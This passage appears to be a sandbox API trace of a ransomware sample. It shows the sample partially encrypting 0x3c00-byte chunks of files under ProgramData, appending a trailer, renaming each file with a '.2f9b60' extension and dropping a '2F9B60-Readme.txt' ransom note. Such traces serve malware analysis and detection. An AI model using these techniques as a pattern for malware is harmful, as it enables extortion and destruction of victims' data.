0x423a0a10 [0159.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0a70 [0159.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0159.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb87f0) returned 1 [0159.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97e40) returned 1 [0159.990] WriteFile (hFile=0x1540, lpBuffer=0x41e485a0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22f3fca0, lpOverlapped=0x0) [0180.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e485a0) returned 1 [0180.216] SetFilePointerEx (in: hFile=0x1540, liDistanceToMove=0x3fc400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.216] ReadFile (in: hFile=0x1540, lpBuffer=0x201e2d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22f3fca0, lpOverlapped=0x0 | out: lpBuffer=0x201e2d00*, lpNumberOfBytesRead=0x22f3fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0182.182] SetFilePointerEx (in: hFile=0x1540, liDistanceToMove=0x3fc400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f420 [0182.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f420) returned 1 [0182.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2024c1b0 [0182.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f420 [0182.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f450 [0182.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f450) returned 1 [0182.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.185] WriteFile (in: hFile=0x1540, lpBuffer=0x2024c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22f3fca0, lpOverlapped=0x0 | out: lpBuffer=0x2024c1b0*, lpNumberOfBytesWritten=0x22f3fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0197.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2024c1b0) returned 1 [0197.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4309f670 [0197.868] SetFilePointerEx (in: hFile=0x1540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0197.868] WriteFile (in: hFile=0x1540, lpBuffer=0x1cebd930*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x22f3fd50, lpOverlapped=0x0 | out: lpBuffer=0x1cebd930*, lpNumberOfBytesWritten=0x22f3fd50*=0x144, lpOverlapped=0x0) returned 1 [0201.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ed90 [0201.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8140 [0201.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8140) returned 1 [0201.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x431f8740 [0201.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8140 [0201.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a80e0 [0201.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a80e0) returned 1 [0201.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ed90) returned 1 [0201.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x202a80e0 [0201.681] sprintf (in: _Dest=0x202a80e0, _Format="%c%c" | out: _Dest="45") returned 2 [0201.681] sprintf (in: _Dest=0x202a80e2, _Format="%c%c" | out: _Dest="f4") returned 2 [0201.681] sprintf (in: _Dest=0x202a80e4, _Format="%c%c" | out: _Dest="65") returned 2 [0201.681] sprintf (in: _Dest=0x202a80e6, _Format="%c%c" | out: _Dest="c8") returned 2 [0201.681] sprintf (in: _Dest=0x202a80e8, _Format="%c%c" | out: _Dest="b1") returned 2 [0201.681] sprintf (in: _Dest=0x202a80ea, _Format="%c%c" | out: _Dest="af") returned 2 [0201.681] sprintf (in: _Dest=0x202a80ec, _Format="%c%c" | out: _Dest="69") returned 2 [0201.681] sprintf (in: _Dest=0x202a80ee, _Format="%c%c" | out: _Dest="86") returned 2 [0201.681] sprintf (in: _Dest=0x202a80f0, _Format="%c%c" | out: _Dest="11") returned 2 [0201.681] sprintf (in: _Dest=0x202a80f2, _Format="%c%c" | out: _Dest="a4") returned 2 [0201.681] sprintf (in: _Dest=0x202a80f4, _Format="%c%c" | out: _Dest="26") returned 2 [0201.681] sprintf (in: _Dest=0x202a80f6, _Format="%c%c" | out: _Dest="7e") returned 2 [0201.681] sprintf (in: _Dest=0x202a80f8, _Format="%c%c" | out: _Dest="48") returned 2 [0201.681] sprintf (in: _Dest=0x202a80fa, _Format="%c%c" | out: _Dest="51") returned 2 [0201.681] sprintf (in: _Dest=0x202a80fc, _Format="%c%c" | out: _Dest="e9") returned 2 [0201.681] sprintf (in: _Dest=0x202a80fe, _Format="%c%c" | out: _Dest="a0") returned 2 [0201.681] sprintf (in: _Dest=0x202a8100, _Format="%c%c" | out: _Dest="9f") returned 2 [0201.681] sprintf (in: _Dest=0x202a8102, _Format="%c%c" | out: _Dest="f8") returned 2 [0201.681] RtlInitAnsiString (in: DestinationString=0x22f3fdc8, SourceString="45f465c8b1af698611a4267e4851e9a09ff8" | out: DestinationString="45f465c8b1af698611a4267e4851e9a09ff8") [0201.682] RtlAnsiStringToUnicodeString (in: DestinationString=0x22f3fd98, SourceString="45f465c8b1af698611a4267e4851e9a09ff8", AllocateDestinationString=1 | out: DestinationString="45f465c8b1af698611a4267e4851e9a09ff8") returned 0x0 [0201.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9dcd0 [0201.682] wcscat (in: _Dest=0x43107a40, _Source="45f465c8b" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader\\45f465c8b") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\45f465c8b" [0201.682] wcscat (in: _Dest=0x43107a40, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader\\45f465c8b.2f9b60") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\45f465c8b.2f9b60" [0201.682] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\45f465c8b.2f9b60", NtPathName=0x22f3fd70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\45f465c8b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x43197580 [0206.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43197580) returned 1 [0206.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4320c390) returned 1 [0206.419] NtQueryInformationFile (in: FileHandle=0x1540, IoStatusBlock=0x22f3fdd8, FileInformation=0x22f3fde8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x22f3fdd8, FileInformation=0x22f3fde8) returned 0x0 [0206.419] NtSetInformationFile (FileHandle=0x1540, IoStatusBlock=0x22f3fdd8, FileInformation=0x22f3fde8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43107a40) returned 1 [0209.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9dcd0) returned 1 [0209.404] FlushFileBuffers (hFile=0x1540) returned 1 [0209.405] CloseHandle (hObject=0x1540) returned 1 [0216.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x431069f0 [0216.233] wcscpy (in: _Dest=0x431069f0, _Source="C:\\ProgramData\\Microsoft\\Network\\Downloader\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader\\") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\" [0216.233] wcscat (in: _Dest=0x431069f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\2F9B60-Readme.txt" [0216.233] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\2f9b60-readme.txt")) returned 0xffffffff [0216.236] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0219.522] WriteFile (in: hFile=0x584, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x22f3fc90, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x22f3fc90*=0xba9, lpOverlapped=0x0) returned 1 [0222.600] CloseHandle (hObject=0x584) returned 1 [0224.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431069f0) returned 1 [0224.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e590) returned 1 Thread: id = 806 os_tid = 0x137c [0099.106] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr1.dat" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr1.dat")) returned 0x120 [0099.107] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr1.dat", dwFileAttributes=0x20) returned 1 [0100.660] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr1.dat" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr1.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x153c [0100.661] GetFileSizeEx (in: hFile=0x153c, lpFileSize=0x2378fa80 | out: lpFileSize=0x2378fa80*=4194304) returned 1 [0100.661] SetFilePointerEx (in: hFile=0x153c, liDistanceToMove=0x3ffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.661] ReadFile (in: hFile=0x153c, lpBuffer=0x2378fa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2378fa48, lpOverlapped=0x0 | out: lpBuffer=0x2378fa00*, lpNumberOfBytesRead=0x2378fa48*=0x4, lpOverlapped=0x0) returned 1 [0100.727] SetFilePointerEx (in: hFile=0x153c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261eb0 [0100.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e20 [0100.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a30 [0100.727] NtQuerySystemTime (in: CurrentTime=0x2378f940 | out: CurrentTime=0x2378f940*=132462177062434000) returned 0x0 [0100.727] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x22d25634 [0100.727] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x5b9acfb0 [0100.728] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x5d346a7a [0100.728] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0xa64a596 [0100.728] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x587d751f [0100.728] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x62b0d6ab [0100.728] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x20994ca1 [0100.728] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x2a530f63 [0100.728] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x54044ed0 [0100.728] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x25df6a1f [0100.728] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x4817a147 [0100.728] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x8e06416 [0100.728] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x7f2eadc1 [0100.728] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x6378c84 [0100.728] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0xd35f017 [0100.728] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x4e982 [0100.728] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0xa674a09 [0100.728] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x52305c99 [0100.728] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x5573c410 [0100.728] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x17b27518 [0100.728] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x12351e24 [0100.728] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x2de5fc25 [0100.728] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x72508322 [0100.728] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x45d44523 [0100.728] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x78a6b0b8 [0100.728] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x3438a646 [0100.728] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x60a784f8 [0100.728] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x3de8228e [0100.729] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x5ef50669 [0100.729] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x54044ed0 [0100.729] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x52c58c54 [0100.729] RtlRandomEx (in: Seed=0x2378f930 | out: Seed=0x2378f930) returned 0x6bb377cb [0100.738] SetFilePointerEx (in: hFile=0x153c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.738] ReadFile (in: hFile=0x153c, lpBuffer=0x201d3cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2378f9a0, lpOverlapped=0x0 | out: lpBuffer=0x201d3cc0*, lpNumberOfBytesRead=0x2378f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0101.607] SetFilePointerEx (in: hFile=0x153c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0101.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ec0 [0101.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8220 [0101.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8220) returned 1 [0101.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420485a0 [0101.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8220 [0101.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7800 [0101.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7800) returned 1 [0101.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ec0) returned 1 [0101.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0101.608] WriteFile (in: hFile=0x153c, lpBuffer=0x420485a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2378f9a0, lpOverlapped=0x0 | out: lpBuffer=0x420485a0*, lpNumberOfBytesWritten=0x2378f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0147.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420485a0) returned 1 [0147.833] SetFilePointerEx (in: hFile=0x153c, liDistanceToMove=0x201c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.833] ReadFile (in: hFile=0x153c, lpBuffer=0x201d3cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2378f9a0, lpOverlapped=0x0 | out: lpBuffer=0x201d3cc0*, lpNumberOfBytesRead=0x2378f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0148.019] SetFilePointerEx (in: hFile=0x153c, liDistanceToMove=0x201c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0148.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0148.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6920 [0148.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6920) returned 1 [0148.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42026910 [0148.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6920 [0148.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6980 [0148.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6980) returned 1 [0148.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0148.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0148.020] WriteFile (hFile=0x153c, lpBuffer=0x42026910, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2378f9a0, lpOverlapped=0x0) [0180.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42026910) returned 1 [0180.093] SetFilePointerEx (in: hFile=0x153c, liDistanceToMove=0x3fc400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.093] ReadFile (in: hFile=0x153c, lpBuffer=0x201d3cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2378f9a0, lpOverlapped=0x0 | out: lpBuffer=0x201d3cc0*, lpNumberOfBytesRead=0x2378f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0182.151] SetFilePointerEx (in: hFile=0x153c, liDistanceToMove=0x3fc400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f2d0 [0182.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f2d0) returned 1 [0182.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2021b4e0 [0182.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f2d0 [0182.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f300 [0182.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f300) returned 1 [0182.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.154] WriteFile (in: hFile=0x153c, lpBuffer=0x2021b4e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2378f9a0, lpOverlapped=0x0 | out: lpBuffer=0x2021b4e0*, lpNumberOfBytesWritten=0x2378f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2021b4e0) returned 1 [0198.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4309f830 [0198.748] SetFilePointerEx (in: hFile=0x153c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0199.264] WriteFile (in: hFile=0x153c, lpBuffer=0x1cebdbd0*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x2378fa50, lpOverlapped=0x0 | out: lpBuffer=0x1cebdbd0*, lpNumberOfBytesWritten=0x2378fa50*=0x144, lpOverlapped=0x0) returned 1 [0203.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420596a0 [0203.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307b80 [0203.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aab60 [0203.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aab60) returned 1 [0203.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x42c0f120 [0203.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aab60 [0203.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa7a0 [0203.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa7a0) returned 1 [0203.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307b80) returned 1 [0203.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420596a0) returned 1 [0203.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x202aa7a0 [0203.830] sprintf (in: _Dest=0x202aa7a0, _Format="%c%c" | out: _Dest="98") returned 2 [0203.831] sprintf (in: _Dest=0x202aa7a2, _Format="%c%c" | out: _Dest="ed") returned 2 [0203.831] sprintf (in: _Dest=0x202aa7a4, _Format="%c%c" | out: _Dest="c2") returned 2 [0203.831] sprintf (in: _Dest=0x202aa7a6, _Format="%c%c" | out: _Dest="72") returned 2 [0203.831] sprintf (in: _Dest=0x202aa7a8, _Format="%c%c" | out: _Dest="49") returned 2 [0203.831] sprintf (in: _Dest=0x202aa7aa, _Format="%c%c" | out: _Dest="c5") returned 2 [0203.831] sprintf (in: _Dest=0x202aa7ac, _Format="%c%c" | out: _Dest="c3") returned 2 [0203.831] sprintf (in: _Dest=0x202aa7ae, _Format="%c%c" | out: _Dest="44") returned 2 [0203.831] sprintf (in: _Dest=0x202aa7b0, _Format="%c%c" | out: _Dest="84") returned 2 [0203.831] sprintf (in: _Dest=0x202aa7b2, _Format="%c%c" | out: _Dest="3a") returned 2 [0203.831] sprintf (in: _Dest=0x202aa7b4, _Format="%c%c" | out: _Dest="6b") returned 2 [0203.831] sprintf (in: _Dest=0x202aa7b6, _Format="%c%c" | out: _Dest="eb") returned 2 [0203.831] sprintf (in: _Dest=0x202aa7b8, _Format="%c%c" | out: _Dest="cf") returned 2 [0203.831] sprintf (in: _Dest=0x202aa7ba, _Format="%c%c" | out: _Dest="04") returned 2 [0203.831] sprintf (in: _Dest=0x202aa7bc, _Format="%c%c" | out: _Dest="36") returned 2 [0203.831] sprintf (in: _Dest=0x202aa7be, _Format="%c%c" | out: _Dest="08") returned 2 [0203.831] sprintf (in: _Dest=0x202aa7c0, _Format="%c%c" | out: _Dest="e4") returned 2 [0203.831] sprintf (in: _Dest=0x202aa7c2, _Format="%c%c" | out: _Dest="9d") returned 2 [0203.831] RtlInitAnsiString (in: DestinationString=0x2378fac8, SourceString="98edc27249c5c344843a6bebcf043608e49d" | out: DestinationString="98edc27249c5c344843a6bebcf043608e49d") [0203.831] RtlAnsiStringToUnicodeString (in: DestinationString=0x2378fa98, SourceString="98edc27249c5c344843a6bebcf043608e49d", AllocateDestinationString=1 | out: DestinationString="98edc27249c5c344843a6bebcf043608e49d") returned 0x0 [0203.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x431f9780 [0203.832] wcscat (in: _Dest=0x43154720, _Source="98edc2724" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader\\98edc2724") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\98edc2724" [0203.832] wcscat (in: _Dest=0x43154720, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader\\98edc2724.2f9b60") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\98edc2724.2f9b60" [0203.832] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\98edc2724.2f9b60", NtPathName=0x2378fa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\98edc2724.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x431c5120 [0222.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c5120) returned 1 [0222.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43224e80) returned 1 [0222.805] NtQueryInformationFile (in: FileHandle=0x153c, IoStatusBlock=0x2378fad8, FileInformation=0x2378fae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2378fad8, FileInformation=0x2378fae8) returned 0x0 [0222.805] NtSetInformationFile (FileHandle=0x153c, IoStatusBlock=0x2378fad8, FileInformation=0x2378fae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43154720) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f9780) returned 1 [0225.094] FlushFileBuffers (hFile=0x153c) returned 1 [0225.560] CloseHandle (hObject=0x153c) returned 1 [0226.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202a5c40 [0226.064] wcscpy (in: _Dest=0x202a5c40, _Source="C:\\ProgramData\\Microsoft\\Network\\Downloader\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader\\") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\" [0226.064] wcscat (in: _Dest=0x202a5c40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\2F9B60-Readme.txt" [0226.064] GetFileAttributesW 